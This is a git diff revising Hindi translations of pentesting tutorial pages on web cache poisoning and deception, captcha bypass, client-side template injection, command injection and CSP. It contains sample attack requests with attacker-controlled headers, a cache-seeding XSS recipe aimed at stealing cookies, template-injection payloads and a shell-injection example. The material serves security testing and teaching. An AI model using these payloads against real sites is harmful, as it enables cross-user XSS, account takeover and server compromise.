सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं। +कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं।**यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं। ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -133,7 +136,7 @@ X-Host: attacker.com ``` ### Fat Get -URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln James Kettle ने Github वेबसाइट पर पाया: +URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो उस URL को एक्सेस करने वाला कोई भी व्यक्ति वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,39 +147,39 @@ report=innocent-victim ``` There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Parameter Cloaking +### पैरामीटर क्लोकिंग उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग कुंजी रहित पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है। Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling +### HTTP कैश पॉइजनिंग का शोषण HTTP अनुरोध स्मगलिंग का दुरुपयोग करके -यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)। +यहां जानें कि [कैश पॉइजनिंग हमलों को HTTP अनुरोध स्मगलिंग का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)। -### Automated testing for Web Cache Poisoning +### वेब कैश पॉइजनिंग के लिए स्वचालित परीक्षण -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइज़निंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है। +[वेब कैश भेद्यता स्कैनर](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइजनिंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है। -Example usage: `wcvs -u example.com` +उदाहरण उपयोग: `wcvs -u example.com` -### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) +### हेडर-रिफ्लेक्शन XSS + CDN/WAF-सहायता प्राप्त कैश सीडिंग (यूजर-एजेंट, ऑटो-कैश किए गए .js) -यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित परावर्तन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे गए कैश किए गए HTML को विश्वसनीय रूप से ज़हर दिया जा सके: +यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित रिफ्लेक्शन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को सेवा प्रदान की गई कैश की गई HTML को विश्वसनीय रूप से पॉइज़न किया जा सके: - मुख्य HTML ने एक अविश्वसनीय अनुरोध हेडर (जैसे, `User-Agent`) को निष्पादन योग्य संदर्भ में परावर्तित किया। -- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी स्वचालित रूप से कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया। -- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वैरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर परावर्तन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है। +- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी ऑटो-कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया। +- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वेरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर रिफ्लेक्शन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है। -Practical recipe (observed across a popular CDN/WAF): +व्यावहारिक नुस्खा (एक लोकप्रिय CDN/WAF में देखी गई): 1) एक साफ IP से (पूर्व की प्रतिष्ठा-आधारित डाउनग्रेड से बचें), ब्राउज़र या Burp Proxy Match & Replace के माध्यम से एक दुर्भावनापूर्ण `User-Agent` सेट करें। -2) Burp Repeater में, दो अनुरोधों के एक समूह को तैयार करें और "Send group in parallel" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है): +2) Burp Repeater में, दो अनुरोधों का एक समूह तैयार करें और "समूह को समानांतर में भेजें" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है): - पहला अनुरोध: एक ही मूल पर एक `.js` संसाधन पथ GET करें जबकि आप अपना दुर्भावनापूर्ण `User-Agent` भेज रहे हैं। - तुरंत बाद: मुख्य पृष्ठ GET करें (`/`)। -3) CDN/WAF रूटिंग दौड़ के साथ-साथ स्वचालित रूप से कैश किया गया `.js` अक्सर एक ज़हरीला कैश किया गया HTML वैरिएंट बीज देता है जो फिर अन्य आगंतुकों को परोसा जाता है जो समान कैश कुंजी स्थितियों (जैसे, समान `Vary` आयाम जैसे `User-Agent`) को साझा करते हैं। +3) CDN/WAF रूटिंग दौड़ और ऑटो-कैश किए गए `.js` अक्सर एक पॉइज़न कैश की गई HTML वेरिएंट को बीज देता है जो फिर अन्य आगंतुकों को सेवा दी जाती है जो समान कैश कुंजी की शर्तें साझा करते हैं (जैसे, समान `Vary` आयाम जैसे `User-Agent`)। -Example header payload (to exfiltrate non-HttpOnly cookies): +उदाहरण हेडर पेलोड (गैर-HttpOnly कुकीज़ को एक्सफिल्ट्रेट करने के लिए): ``` User-Agent: Mo00ozilla/5.0" ``` @@ -188,7 +191,7 @@ Operational tips: Impact: -- यदि सत्र कुकीज़ `HttpOnly` नहीं हैं, तो सभी उपयोगकर्ताओं से `document.cookie` को बड़े पैमाने पर निकालकर शून्य-क्लिक ATO संभव है, जिन्हें जहर दिया गया HTML परोसा गया है। +- यदि सत्र कुकीज़ `HttpOnly` नहीं हैं, तो सभी उपयोगकर्ताओं से `document.cookie` को बड़े पैमाने पर निकालकर शून्य-क्लिक ATO संभव है जिन्हें जहर दिया गया HTML परोसा गया है। Defenses: @@ -204,7 +207,7 @@ ATS ने URL के अंदर के अंश को बिना हट ### GitHub CP-DoS -सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था। +सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था। ### GitLab + GCP CP-DoS @@ -228,7 +231,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क ### अवैध हेडर फ़ील्ड -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न होती है। +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहाँ अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश करने योग्य 400 Bad Request त्रुटि उत्पन्न होती है। ### नए हेडर खोजना @@ -238,7 +241,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क Cache Deception का लक्ष्य है कि ग्राहक **उन संसाधनों को लोड करें जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**। -सबसे पहले ध्यान दें कि **विस्तार** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **विस्तार** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं। +सबसे पहले ध्यान दें कि **विस्तार** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश शायद प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **विस्तार** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप उन सामग्री को अन्य उपयोगकर्ताओं से **चुरा** सकते हैं। परीक्षण करने के लिए अन्य चीजें: @@ -255,7 +258,7 @@ Cache Deception का लक्ष्य है कि ग्राहक **उ ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के विस्तार** (_ .css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _ .css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार। -यहाँ जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का उपयोग करके किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +यहाँ जानें कि कैसे [Cache Deceptions हमलों को HTTP Request Smuggling का उपयोग करके प्रदर्शन करें](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Automatic Tools diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 8c6d630e3..914865455 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -7,8 +7,8 @@ Captcha को **बायपास** करने के लिए **सर्वर परीक्षण** के दौरान और उपयोगकर्ता इनपुट कार्यों को स्वचालित करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उद्देश्य सुरक्षा को कमजोर करना नहीं है, बल्कि परीक्षण प्रक्रिया को सरल बनाना है। यहाँ रणनीतियों की एक व्यापक सूची है: 1. **पैरामीटर हेरफेर**: -- **कैप्चा पैरामीटर को छोड़ें**: कैप्चा पैरामीटर भेजने से बचें। HTTP विधि को POST से GET या अन्य क्रियाओं में बदलने और डेटा प्रारूप को बदलने का प्रयोग करें, जैसे कि फॉर्म डेटा और JSON के बीच स्विच करना। -- **खाली कैप्चा भेजें**: अनुरोध को कैप्चा पैरामीटर के साथ प्रस्तुत करें लेकिन इसे खाली छोड़ दें। +- **कैप्चा पैरामीटर को छोड़ें**: कैप्चा पैरामीटर भेजने से बचें। HTTP विधि को POST से GET या अन्य क्रियाओं में बदलने और डेटा प्रारूप को बदलने का प्रयास करें, जैसे कि फॉर्म डेटा और JSON के बीच स्विच करना। +- **खाली कैप्चा भेजें**: कैप्चा पैरामीटर के साथ अनुरोध सबमिट करें लेकिन इसे खाली छोड़ दें। 2. **मान निकालना और पुन: उपयोग करना**: - **स्रोत कोड निरीक्षण**: पृष्ठ के स्रोत कोड में कैप्चा मान की खोज करें। - **कुकी विश्लेषण**: यह देखने के लिए कुकीज़ की जांच करें कि क्या कैप्चा मान संग्रहीत और पुन: उपयोग किया गया है। @@ -18,11 +18,11 @@ Captcha को **बायपास** करने के लिए **सर् - **गणितीय कैप्चा**: यदि कैप्चा में गणितीय संचालन शामिल हैं, तो गणना प्रक्रिया को स्वचालित करें। - **छवि पहचान**: - उन कैप्चा के लिए जो छवि से वर्ण पढ़ने की आवश्यकता होती है, मैन्युअल या प्रोग्रामेटिक रूप से अद्वितीय छवियों की कुल संख्या निर्धारित करें। यदि सेट सीमित है, तो आप प्रत्येक छवि को इसके MD5 हैश द्वारा पहचान सकते हैं। -- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकग्निशन (OCR) उपकरणों का उपयोग करें। +- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकॉग्निशन (OCR) उपकरणों का उपयोग करें। 4. **अतिरिक्त तकनीकें**: -- **रेट लिमिट परीक्षण**: जांचें कि क्या एप्लिकेशन एक निश्चित समय सीमा में प्रयासों या प्रस्तुतियों की संख्या को सीमित करता है और क्या इस सीमा को बायपास या रीसेट किया जा सकता है। -- **थर्ड-पार्टी सेवाएँ**: स्वचालित कैप्चा पहचान और समाधान प्रदान करने वाली कैप्चा-समाधान सेवाओं या APIs का उपयोग करें। -- **सत्र और IP रोटेशन**: पहचान और सर्वर द्वारा अवरोध से बचने के लिए बार-बार सत्र आईडी और IP पते बदलें। +- **रेट लिमिट परीक्षण**: जांचें कि क्या एप्लिकेशन एक निश्चित समय सीमा में प्रयासों या सबमिशनों की संख्या को सीमित करता है और क्या इस सीमा को बायपास या रीसेट किया जा सकता है। +- **तीसरे पक्ष की सेवाएँ**: कैप्चा-समाधान सेवाओं या APIs का उपयोग करें जो स्वचालित कैप्चा पहचान और समाधान प्रदान करते हैं। +- **सत्र और IP रोटेशन**: पहचान और सर्वर द्वारा ब्लॉकिंग से बचने के लिए सत्र आईडी और IP पते को बार-बार बदलें। - **यूजर-एजेंट और हेडर हेरफेर**: विभिन्न ब्राउज़रों या उपकरणों की नकल करने के लिए यूजर-एजेंट और अन्य अनुरोध हेडर को बदलें। - **ऑडियो कैप्चा विश्लेषण**: यदि ऑडियो कैप्चा विकल्प उपलब्ध है, तो कैप्चा को समझने और हल करने के लिए स्पीच-टू-टेक्स्ट सेवाओं का उपयोग करें। @@ -30,7 +30,7 @@ Captcha को **बायपास** करने के लिए **सर् ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) एक AI-संचालित सेवा है जो विभिन्न प्रकार के कैप्चा को स्वचालित रूप से हल करने में विशेषज्ञता रखती है, डेटा संग्रह को सशक्त बनाती है और डेवलपर्स को वेब स्क्रैपिंग के दौरान कैप्चा चुनौतियों को आसानी से पार करने में मदद करती है। यह **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, और Cloudflare turnstile among others** जैसे कैप्चा का समर्थन करता है। डेवलपर्स के लिए, Capsolver API एकीकरण विकल्प प्रदान करता है जो [**documentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)** में विस्तृत है,** जो अनुप्रयोगों में कैप्चा समाधान को एकीकृत करने की सुविधा प्रदान करता है। वे [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) और [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) के लिए ब्राउज़र एक्सटेंशन भी प्रदान करते हैं, जिससे उनके सेवा का उपयोग सीधे ब्राउज़र में करना आसान हो जाता है। विभिन्न मूल्य निर्धारण पैकेज उपलब्ध हैं ताकि विभिन्न आवश्यकताओं को पूरा किया जा सके, उपयोगकर्ताओं के लिए लचीलापन सुनिश्चित किया जा सके। +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) एक AI-संचालित सेवा है जो विभिन्न प्रकार के कैप्चा को स्वचालित रूप से हल करने में विशेषज्ञता रखती है, डेटा संग्रह को सशक्त बनाती है और डेवलपर्स को वेब स्क्रैपिंग के दौरान कैप्चा चुनौतियों को आसानी से पार करने में मदद करती है। यह **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, और Cloudflare turnstile सहित** कैप्चा का समर्थन करता है। डेवलपर्स के लिए, Capsolver API एकीकरण विकल्प प्रदान करता है जो [**दस्तावेज़ीकरण**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)** में विस्तृत है,** जो अनुप्रयोगों में कैप्चा समाधान को एकीकृत करने की सुविधा प्रदान करता है। वे [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) और [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) के लिए ब्राउज़र एक्सटेंशन भी प्रदान करते हैं, जिससे उपयोगकर्ताओं के लिए सीधे ब्राउज़र में उनकी सेवा का उपयोग करना आसान हो जाता है। विभिन्न मूल्य निर्धारण पैकेज उपलब्ध हैं जो विभिन्न आवश्यकताओं को पूरा करते हैं, उपयोगकर्ताओं के लिए लचीलापन सुनिश्चित करते हैं। {{#ref}} https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index f6545a1f5..37f67b768 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -10,9 +10,9 @@ ## AngularJS -AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके। +AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो HTML के साथ निर्देशिकाओं के रूप में जाने जाने वाले गुणों के माध्यम से इंटरैक्ट करता है, जिसमें से एक प्रमुख **`ng-app`** है। यह निर्देशिका AngularJS को HTML सामग्री को संसाधित करने की अनुमति देती है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript अभिव्यक्तियों को निष्पादित किया जा सकता है। -ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग की गई HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है: +उन परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML बॉडी में गतिशील रूप से डाला जाता है, यह मनमाने JavaScript कोड को निष्पादित करना संभव है। यह इनपुट के भीतर AngularJS की सिंटैक्स का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे निष्पादित किया जा सकता है: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -35,7 +35,7 @@ AngularJS एक व्यापक रूप से उपयोग किय ">
aaa
``` -CSTI पर VUE में एक बहुत अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है। +A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V3** ``` @@ -71,6 +71,7 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **ब्रूट-फोर्स डिटेक्शन लिस्ट** + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt {{#endref}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index cafc3bf90..6bed9d254 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## What is command Injection? -एक **command injection** हमलावर को एक एप्लिकेशन होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है। +एक **command injection** हमलावर को एक एप्लिकेशन होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है। ### Context -**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त करने** की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले। +**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले। ## Command Injection/Execution ```bash @@ -31,7 +31,8 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limition** Bypasses -यदि आप **linux मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **Bypasses** के बारे में पढ़ने में रुचि रखते होंगे: +यदि आप **linux मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **Bypasses** के बारे में पढ़ने में रुचि रखेंगे: + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -113,6 +114,7 @@ powershell C:**2\n??e*d.*? # notepad ``` #### Linux + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} @@ -127,7 +129,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` एक **शेल** (`/bin/sh -c`) उत्पन्न करता है, इसलिए कोई भी चर जो शेल के लिए विशेष अर्थ रखता है (बैक-टिक, `;`, `&&`, `|`, `$()`, …) उपयोगकर्ता इनपुट के स्ट्रिंग में संयोजित होने पर **कमांड इंजेक्शन** का परिणाम देगा। +`exec()` एक **शेल** (`/bin/sh -c`) उत्पन्न करता है, इसलिए कोई भी चर जो शेल के लिए विशेष अर्थ रखता है (बैक-टिक्स, `;`, `&&`, `|`, `$()`, …) उपयोगकर्ता इनपुट के स्ट्रिंग में संयोजित होने पर **कमांड इंजेक्शन** का परिणाम देगा। **Mitigation:** `execFile()` (या `spawn()` बिना `shell` विकल्प के) का उपयोग करें और **प्रत्येक तर्क को एक अलग ऐरे तत्व के रूप में प्रदान करें** ताकि कोई शेल शामिल न हो: ```javascript @@ -141,6 +143,7 @@ execFile('/usr/bin/do-something', [ ## ब्रूट-फोर्स डिटेक्शन लिस्ट + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 38af1c25a..126b0f8c5 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## What is CSP -Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (self) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है। +Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है। CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं। @@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### निर्देश +### Directives - **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं। - **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है। - 